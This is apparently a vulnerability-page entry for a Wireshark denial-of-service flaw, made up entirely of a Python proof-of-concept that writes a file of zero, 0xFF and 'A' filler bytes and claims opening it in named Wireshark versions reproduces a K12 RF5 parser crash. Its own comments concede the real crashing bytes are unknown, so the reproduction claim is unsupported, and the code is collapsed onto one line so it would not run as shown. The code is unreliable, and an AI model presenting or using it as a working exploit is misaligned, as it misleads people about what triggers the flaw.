CVE-2026-5404 Wireshark拒绝服务漏洞

import struct # PoC for CVE-2026-5404: Wireshark K12 RF5 File Parser Crash # This script generates a malformed K12 RF5 file intended to trigger the crash. def generate_malformed_rf5(filename): with open(filename, 'wb') as f: # K12 RF5 files typically start with a specific header. # This PoC attempts to fuzz the header structure to trigger the parser crash. # Note: The exact byte sequence causing the crash depends on the specific vulnerability details. # Writing a generic malformed header f.write(b'\x00' * 10) # Malformed magic bytes or offset f.write(b'\xFF' * 50) # Junk data to overflow buffer or confuse parser # Appending some payload that might trigger the parsing logic f.write(b'A' * 1000) print(f"[+] Malformed file '{filename}' generated successfully.") print(f"[+] Open this file in Wireshark 4.4.0 - 4.4.14 or 4.6.0 - 4.6.4 to reproduce the crash.") if __name__ == "__main__": generate_malformed_rf5("crash.rf5")